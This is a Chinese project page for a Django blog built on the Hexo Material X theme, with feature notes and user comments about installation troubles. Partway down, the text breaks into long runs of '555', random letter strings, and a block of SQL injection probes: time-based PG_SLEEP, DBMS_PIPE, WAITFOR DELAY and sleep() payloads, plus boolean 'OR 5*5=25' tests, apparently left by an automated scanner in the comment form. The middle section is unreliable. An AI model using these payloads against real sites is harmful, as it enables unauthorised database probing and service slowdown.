一、Django-blog-material-x
- 本站是基于的Hexo博客主题 Material X ,使用 Python3.6.3+Django3.0.7编写;
- 后台集成富文本编辑器 django-ckeditor;
- 代码高亮使用 Prism插件,可选择自己喜欢的样式,替换静态文件中的highlight\prism.css文件即可;
项目地址: https://github.com/Bgods/Django-blog-material-x
1、页面
- 侧边栏有
侧边栏有个人卡片、、广告位、友情链接、热门标签、音乐插件,可在默认配置文件及后台管理修改相关设置。

- 主页

- 博客列表页

- 归档

- 标签

- 博客正文
博客正文支持代码高亮,支持显示文章目录。

- 评论
评论区支持富文本编辑器 django-ckeditor,评论支持邮箱通知

2、后台管理
使用simpleui第三方后台管理工具,特色如下:
- 编辑器
后台集成编辑器 django-ckeditor,

- 后台管理主页

- 博客文章管理

- 友情链接管理

- 音乐插件管理
支持虾米音乐、QQ音乐、酷狗音乐、网易云音乐。注意设置多个时,只有一个是有效,因此可以将其他设置为不启用,只需要启用一个即可。

- 评论管理

uyvejkesuvlovrwfjqxysmdruqgqqy
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@fDEP1
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555B0xwTS1s')) OR 731=(SELECT 731 FROM PG_SLEEP(15))--
5550nIJg23n') OR 32=(SELECT 32 FROM PG_SLEEP(15))--
555WWG9FCBI' OR 460=(SELECT 460 FROM PG_SLEEP(15))--
555-1)) OR 662=(SELECT 662 FROM PG_SLEEP(15))--
555-1) OR 141=(SELECT 141 FROM PG_SLEEP(15))--
555-1 OR 924=(SELECT 924 FROM PG_SLEEP(15))--
555kNIAPqAC'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "lx1ByeDn"="
-1' OR 5*5=25 or 'K9kYrjee'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555
ygupjhkfwmqyklwvlxvskeyhukromv
gewhtyejxpfkzdrydotdvtnwuzfsmq
egnxflygtyhqrquvufsyyfoquqxmfp
jkfxrzpmfwkpwitwrgevtfgmiiqstf
yxllmeixqlizsloouqnzyswdfwnend
hzvywmuxxlfnxnnylyyuslozdopzgg
yerqyzfmkkddqdridythihhtyskkqj
ueqswyhxnmmnomudoxpxnzrvpnwyis
ljkkztfvjnueehkidsezihnsrewymz
qoqvhslyfgkyidgylhwsvzexvhhnvv
rhrdhfomopyyltdetxvpghjpmhxzgd
hpdtpujlifgkrqenyrxqgpgrjskvhf
你好,我想问一下。comment/views.py下引用了EmailMultiAlternatives,邮件可以正常发送成功。但是我看send_email方法中只入参了发件人和接收人的信息,但并没有入参(email_host,email_port,email_password等信息),email_host,email_port,email_password这些信息我是在setting里面配置的,他是怎么调用过去的。
@curry03 , EmailMultiAlternatives会自动调用setting 里面的设置的,只需要配置就行,如果想知道,可以看源代码
ERROR: Could not find a version that satisfies the requirement mysqlclient==2.0.1 (from versions: 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7, 1.3.8, 1.3.9, 1.3.10, 1.3.11rc1, 1.3.11, 1.3.12, 1.3.13, 1.3.14, 1.4.0rc1, 1.4.0rc2, 1.4.0rc3, 1.4.0, 1.4.1, 1.4.2, 1.4.2.post1, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 2.0.0, 2.0.1, 2.0.2, 2.0.3)
ERROR: No matching distribution found for mysqlclient==2.0.1
删了mysqlclient,过了
ModuleNotFoundError: No module named 'ckeditor'
看到 https://dev-qa.com/352279/django-why-after-installing-the-editor-crashes-the-website
python3 -m pip install --user django-ckeditor,解决
终于run起来了,一直想学一下python,打算从Django开始,想找一个源码看一下,嗯,那就从您的blog开始吧
请问Hexo博客怎么跟Django对接呢?
我想自己试着写一个
@MrBun , 对接?不太了解的你的意思?Hexo是静态网站
@MrBun , 如果是按照hexo的页面,用django写的话,熟悉django的话这个很简单,先django的模板按照hexo的写就好了